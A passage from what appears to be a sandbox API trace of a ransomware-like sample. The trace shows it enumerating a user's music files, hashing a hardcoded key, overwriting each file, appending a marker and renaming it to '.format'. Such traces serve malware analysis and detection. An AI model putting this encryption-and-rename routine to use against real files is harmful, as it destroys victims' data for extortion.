ftCreationTime.dwLowDateTime=0x362e7cd0, ftCreationTime.dwHighDateTime=0x1d4d142, ftLastAccessTime.dwLowDateTime=0x74bee460, ftLastAccessTime.dwHighDateTime=0x1d4c924, ftLastWriteTime.dwLowDateTime=0x74bee460, ftLastWriteTime.dwHighDateTime=0x1d4c924, nFileSizeHigh=0x0, nFileSizeLow=0x56c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C91c9XEQcDJnxWtX_.wav", cAlternateFileName="C91C9X~1.WAV")) returned 1 [0068.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\C91c9XEQcDJnxWtX_.wav") returned=".wav" [0068.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\C91c9XEQcDJnxWtX_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\c91c9xeqcdjnxwtx_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.382] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=22216) returned 1 [0068.382] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.384] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x56a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.385] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.385] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.385] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.385] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x56c8, lpOverlapped=0x0) returned 1 [0068.386] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.386] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.386] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.386] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.386] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.386] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.386] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.386] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.387] GetLastError () returned 0x0 [0068.387] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.387] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x56d0) returned 0x32b2f40 [0068.387] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.387] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x56c3, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x56c3, lpOverlapped=0x0) returned 1 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.387] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x56c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.387] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.387] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.387] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.387] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.387] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.388] CloseHandle (hObject=0x5c8) returned 1 [0068.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.388] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.388] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.388] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\C91c9XEQcDJnxWtX_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\c91c9xeqcdjnxwtx_.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\C91c9XEQcDJnxWtX_.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\c91c9xeqcdjnxwtx_.wav.format")) returned 1 [0068.389] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.389] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.390] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44c2f4e0, ftCreationTime.dwHighDateTime=0x1d4d559, ftLastAccessTime.dwLowDateTime=0xcf9ece60, ftLastAccessTime.dwHighDateTime=0x1d4d32c, ftLastWriteTime.dwLowDateTime=0xcf9ece60, ftLastWriteTime.dwHighDateTime=0x1d4d32c, nFileSizeHigh=0x0, nFileSizeLow=0x10b77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M1OCBBo6An.mp3", cAlternateFileName="M1OCBB~1.MP3")) returned 1 [0068.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.390] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.390] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\M1OCBBo6An.mp3") returned=".mp3" [0068.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\M1OCBBo6An.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\m1ocbbo6an.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.390] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=68471) returned 1 [0068.390] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.393] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10b51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.393] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.393] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.393] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.394] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.394] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10b77, lpOverlapped=0x0) returned 1 [0068.394] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.394] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.394] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.394] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.395] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.395] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.395] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.395] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.395] GetLastError () returned 0x0 [0068.395] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.395] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10b80) returned 0x32b2f40 [0068.395] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.395] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x10b72, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x10b72, lpOverlapped=0x0) returned 1 [0068.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.396] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10b77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.396] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.396] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.396] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.396] CloseHandle (hObject=0x5c8) returned 1 [0068.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0068.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.397] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\M1OCBBo6An.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\m1ocbbo6an.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\M1OCBBo6An.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\m1ocbbo6an.mp3.format")) returned 1 [0068.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.398] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.399] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59fb05f0, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0x695d4b50, ftLastAccessTime.dwHighDateTime=0x1d4d4e8, ftLastWriteTime.dwLowDateTime=0x695d4b50, ftLastWriteTime.dwHighDateTime=0x1d4d4e8, nFileSizeHigh=0x0, nFileSizeLow=0x13790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nmmwY.mp3", cAlternateFileName="")) returned 1 [0068.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.399] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0068.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.399] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\nmmwY.mp3") returned=".mp3" [0068.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\nmmwY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\nmmwy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.399] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=79760) returned 1 [0068.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.402] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1376a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.402] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.403] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.403] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.403] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x13790, lpOverlapped=0x0) returned 1 [0068.403] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.403] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.403] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.403] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.404] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.404] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.404] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.404] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.404] GetLastError () returned 0x0 [0068.404] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.404] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.404] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x13790) returned 0x32b2f40 [0068.405] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.405] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1378b, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1378b, lpOverlapped=0x0) returned 1 [0068.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.405] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13790, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.405] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.406] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.406] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.406] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.406] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.406] CloseHandle (hObject=0x5c8) returned 1 [0068.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.407] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0068.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.407] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\nmmwY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\nmmwy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\3m1P\\nmmwY.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\3m1p\\nmmwy.mp3.format")) returned 1 [0068.407] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.407] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.408] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.408] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7631b0a0, ftCreationTime.dwHighDateTime=0x1d4d58d, ftLastAccessTime.dwLowDateTime=0xf4ded0d0, ftLastAccessTime.dwHighDateTime=0x1d4d412, ftLastWriteTime.dwLowDateTime=0xf4ded0d0, ftLastWriteTime.dwHighDateTime=0x1d4d412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VaIh-oYg6BJgtgDU7", cAlternateFileName="VAIH-O~1")) returned 1 [0068.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.408] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2bf0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a28f8 | out: hHeap=0x5d0000) returned 1 [0068.409] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7631b0a0, ftCreationTime.dwHighDateTime=0x1d4d58d, ftLastAccessTime.dwLowDateTime=0xf4ded0d0, ftLastAccessTime.dwHighDateTime=0x1d4d412, ftLastWriteTime.dwLowDateTime=0xf4ded0d0, ftLastWriteTime.dwHighDateTime=0x1d4d412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VaIh-oYg6BJgtgDU7", cAlternateFileName="VAIH-O~1")) returned 0 [0068.409] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 